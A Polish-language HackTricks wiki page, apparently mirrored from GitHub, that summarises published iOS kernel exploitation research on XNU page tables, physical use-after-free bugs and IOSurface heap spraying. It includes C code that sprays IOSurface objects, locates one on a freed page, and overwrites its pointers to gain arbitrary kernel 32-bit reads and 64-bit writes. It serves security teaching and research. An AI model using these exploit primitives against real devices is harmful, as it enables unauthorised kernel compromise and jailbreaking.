mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
209 lines
9.8 KiB
Markdown
209 lines
9.8 KiB
Markdown
# iOS Exploiting
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## Fizyczne użycie po zwolnieniu
|
|
|
|
To jest podsumowanie z posta z [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), ponadto dalsze informacje na temat wykorzystania tej techniki można znaleźć w [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
|
|
|
### Zarządzanie pamięcią w XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
|
|
|
**Wirtualna przestrzeń adresowa pamięci** dla procesów użytkownika na iOS rozciąga się od **0x0 do 0x8000000000**. Jednak te adresy nie są bezpośrednio mapowane do pamięci fizycznej. Zamiast tego, **jądro** używa **tabel stron** do tłumaczenia adresów wirtualnych na rzeczywiste **adresy fizyczne**.
|
|
|
|
#### Poziomy tabel stron w iOS
|
|
|
|
Tabele stron są zorganizowane hierarchicznie w trzech poziomach:
|
|
|
|
1. **Tabela stron L1 (Poziom 1)**:
|
|
* Każdy wpis tutaj reprezentuje duży zakres pamięci wirtualnej.
|
|
* Pokrywa **0x1000000000 bajtów** (lub **256 GB**) pamięci wirtualnej.
|
|
2. **Tabela stron L2 (Poziom 2)**:
|
|
* Wpis tutaj reprezentuje mniejszy obszar pamięci wirtualnej, konkretnie **0x2000000 bajtów** (32 MB).
|
|
* Wpis L1 może wskazywać na tabelę L2, jeśli nie może samodzielnie zmapować całego obszaru.
|
|
3. **Tabela stron L3 (Poziom 3)**:
|
|
* To jest najdrobniejszy poziom, gdzie każdy wpis mapuje pojedynczą stronę pamięci **4 KB**.
|
|
* Wpis L2 może wskazywać na tabelę L3, jeśli potrzebna jest bardziej szczegółowa kontrola.
|
|
|
|
#### Mapowanie pamięci wirtualnej na fizyczną
|
|
|
|
* **Bezpośrednie mapowanie (Mapowanie blokowe)**:
|
|
* Niektóre wpisy w tabeli stron bezpośrednio **mapują zakres adresów wirtualnych** na ciągły zakres adresów fizycznych (jak skrót).
|
|
* **Wskaźnik do tabeli stron podrzędnych**:
|
|
* Jeśli potrzebna jest dokładniejsza kontrola, wpis na jednym poziomie (np. L1) może wskazywać na **tabelę stron podrzędnych** na następnym poziomie (np. L2).
|
|
|
|
#### Przykład: Mapowanie adresu wirtualnego
|
|
|
|
Załóżmy, że próbujesz uzyskać dostęp do adresu wirtualnego **0x1000000000**:
|
|
|
|
1. **Tabela L1**:
|
|
* Jądro sprawdza wpis w tabeli stron L1 odpowiadający temu adresowi wirtualnemu. Jeśli ma **wskaźnik do tabeli stron L2**, przechodzi do tej tabeli L2.
|
|
2. **Tabela L2**:
|
|
* Jądro sprawdza tabelę stron L2 w poszukiwaniu bardziej szczegółowego mapowania. Jeśli ten wpis wskazuje na **tabelę stron L3**, przechodzi tam.
|
|
3. **Tabela L3**:
|
|
* Jądro przeszukuje końcowy wpis L3, który wskazuje na **adres fizyczny** rzeczywistej strony pamięci.
|
|
|
|
#### Przykład mapowania adresu
|
|
|
|
Jeśli zapiszesz adres fizyczny **0x800004000** w pierwszym indeksie tabeli L2, to:
|
|
|
|
* Adresy wirtualne od **0x1000000000** do **0x1002000000** mapują się na adresy fizyczne od **0x800004000** do **0x802004000**.
|
|
* To jest **mapowanie blokowe** na poziomie L2.
|
|
|
|
Alternatywnie, jeśli wpis L2 wskazuje na tabelę L3:
|
|
|
|
* Każda strona 4 KB w zakresie adresów wirtualnych **0x1000000000 -> 0x1002000000** byłaby mapowana przez indywidualne wpisy w tabeli L3.
|
|
|
|
### Fizyczne użycie po zwolnieniu
|
|
|
|
**Fizyczne użycie po zwolnieniu** (UAF) występuje, gdy:
|
|
|
|
1. Proces **alokuje** pewną pamięć jako **czytelną i zapisywalną**.
|
|
2. **Tabele stron** są aktualizowane, aby mapować tę pamięć do konkretnego adresu fizycznego, do którego proces ma dostęp.
|
|
3. Proces **zwalnia** (uwalnia) pamięć.
|
|
4. Jednak z powodu **błędu** jądro **zapomina usunąć mapowanie** z tabel stron, mimo że oznacza odpowiadającą pamięć fizyczną jako wolną.
|
|
5. Jądro może następnie **ponownie przydzielić tę "zwolnioną" pamięć fizyczną** do innych celów, takich jak **dane jądra**.
|
|
6. Ponieważ mapowanie nie zostało usunięte, proces może nadal **czytać i pisać** do tej pamięci fizycznej.
|
|
|
|
Oznacza to, że proces może uzyskać dostęp do **stron pamięci jądra**, które mogą zawierać wrażliwe dane lub struktury, co potencjalnie pozwala atakującemu na **manipulację pamięcią jądra**.
|
|
|
|
### Strategia eksploatacji: Spray na stercie
|
|
|
|
Ponieważ atakujący nie może kontrolować, które konkretne strony jądra będą przydzielane do zwolnionej pamięci, używają techniki zwanej **heap spray**:
|
|
|
|
1. Atakujący **tworzy dużą liczbę obiektów IOSurface** w pamięci jądra.
|
|
2. Każdy obiekt IOSurface zawiera **magiczna wartość** w jednym ze swoich pól, co ułatwia identyfikację.
|
|
3. **Skanują zwolnione strony**, aby sprawdzić, czy którykolwiek z tych obiektów IOSurface wylądował na zwolnionej stronie.
|
|
4. Gdy znajdą obiekt IOSurface na zwolnionej stronie, mogą go użyć do **czytania i pisania pamięci jądra**.
|
|
|
|
Więcej informacji na ten temat w [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
|
|
|
### Proces sprayowania na stercie krok po kroku
|
|
|
|
1. **Spray obiektów IOSurface**: Atakujący tworzy wiele obiektów IOSurface z specjalnym identyfikatorem ("magiczna wartość").
|
|
2. **Skanowanie zwolnionych stron**: Sprawdzają, czy którykolwiek z obiektów został przydzielony na zwolnionej stronie.
|
|
3. **Czytanie/Pisanie pamięci jądra**: Manipulując polami w obiekcie IOSurface, uzyskują możliwość wykonywania **dowolnych odczytów i zapisów** w pamięci jądra. To pozwala im:
|
|
* Używać jednego pola do **czytania dowolnej wartości 32-bitowej** w pamięci jądra.
|
|
* Używać innego pola do **zapisywania wartości 64-bitowych**, osiągając stabilny **prymityw odczytu/zapisu jądra**.
|
|
|
|
Generuj obiekty IOSurface z magiczną wartością IOSURFACE_MAGIC, aby później je wyszukiwać:
|
|
```c
|
|
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
|
if (*nClients >= 0x4000) return;
|
|
for (int i = 0; i < nSurfaces; i++) {
|
|
fast_create_args_t args;
|
|
lock_result_t result;
|
|
|
|
size_t size = IOSurfaceLockResultSize;
|
|
args.address = 0;
|
|
args.alloc_size = *nClients + 1;
|
|
args.pixel_format = IOSURFACE_MAGIC;
|
|
|
|
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
|
io_connect_t id = result.surface_id;
|
|
|
|
(*clients)[*nClients] = id;
|
|
*nClients = (*nClients) += 1;
|
|
}
|
|
}
|
|
```
|
|
Szukaj obiektów **`IOSurface`** w jednej zwolnionej stronie fizycznej:
|
|
```c
|
|
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
|
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
|
int nSurfaceIDs = 0;
|
|
|
|
for (int i = 0; i < 0x400; i++) {
|
|
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
|
|
|
for (int j = 0; j < nPages; j++) {
|
|
uint64_t start = puafPages[j];
|
|
uint64_t stop = start + (pages(1) / 16);
|
|
|
|
for (uint64_t k = start; k < stop; k += 8) {
|
|
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
|
info.object = k;
|
|
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
|
if (self_task) *self_task = iosurface_get_receiver(k);
|
|
goto sprayDone;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
sprayDone:
|
|
for (int i = 0; i < nSurfaceIDs; i++) {
|
|
if (surfaceIDs[i] == info.surface) continue;
|
|
iosurface_release(client, surfaceIDs[i]);
|
|
}
|
|
free(surfaceIDs);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
### Osiąganie odczytu/zapisu w jądrze z IOSurface
|
|
|
|
Po uzyskaniu kontroli nad obiektem IOSurface w pamięci jądra (mapowanym na zwolnioną stronę fizyczną dostępną z przestrzeni użytkownika), możemy go użyć do **dowolnych operacji odczytu i zapisu w jądrze**.
|
|
|
|
**Kluczowe pola w IOSurface**
|
|
|
|
Obiekt IOSurface ma dwa kluczowe pola:
|
|
|
|
1. **Wskaźnik liczby użyć**: Umożliwia **odczyt 32-bitowy**.
|
|
2. **Wskaźnik znaczników czasowych**: Umożliwia **zapis 64-bitowy**.
|
|
|
|
Poprzez nadpisanie tych wskaźników, przekierowujemy je do dowolnych adresów w pamięci jądra, co umożliwia operacje odczytu/zapisu.
|
|
|
|
#### Odczyt 32-bitowy w jądrze
|
|
|
|
Aby wykonać odczyt:
|
|
|
|
1. Nadpisz **wskaźnik liczby użyć**, aby wskazywał na docelowy adres minus offset 0x14 bajtów.
|
|
2. Użyj metody `get_use_count`, aby odczytać wartość pod tym adresem.
|
|
```c
|
|
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
|
uint64_t args[1] = {surfaceID};
|
|
uint32_t size = 1;
|
|
uint64_t out = 0;
|
|
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
|
return (uint32_t)out;
|
|
}
|
|
|
|
uint32_t iosurface_kread32(uint64_t addr) {
|
|
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
|
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
|
uint32_t value = get_use_count(info.client, info.surface);
|
|
iosurface_set_use_count_pointer(info.object, orig);
|
|
return value;
|
|
}
|
|
```
|
|
#### 64-Bit Kernel Write
|
|
|
|
Aby wykonać zapis:
|
|
|
|
1. Nadpisz **wskaźnik znaczników indeksowanych** na docelowy adres.
|
|
2. Użyj metody `set_indexed_timestamp`, aby zapisać 64-bitową wartość.
|
|
```c
|
|
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
|
uint64_t args[3] = {surfaceID, 0, value};
|
|
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
|
}
|
|
|
|
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
|
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
|
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
|
set_indexed_timestamp(info.client, info.surface, value);
|
|
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
|
}
|
|
```
|
|
#### Podsumowanie przepływu exploitów
|
|
|
|
1. **Wywołaj fizyczne Use-After-Free**: Zwolnione strony są dostępne do ponownego użycia.
|
|
2. **Spray obiektów IOSurface**: Przydziel wiele obiektów IOSurface z unikalną "magiczną wartością" w pamięci jądra.
|
|
3. **Zidentyfikuj dostępny IOSurface**: Zlokalizuj IOSurface na zwolnionej stronie, którą kontrolujesz.
|
|
4. **Wykorzystaj Use-After-Free**: Zmodyfikuj wskaźniki w obiekcie IOSurface, aby umożliwić dowolne **odczyty/zapisy jądra** za pomocą metod IOSurface.
|
|
|
|
Dzięki tym prymitywom, exploit zapewnia kontrolowane **odczyty 32-bitowe** i **zapisy 64-bitowe** do pamięci jądra. Dalsze kroki jailbreak mogą obejmować bardziej stabilne prymitywy odczytu/zapisu, które mogą wymagać ominięcia dodatkowych zabezpieczeń (np. PPL na nowszych urządzeniach arm64e).
|
|
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|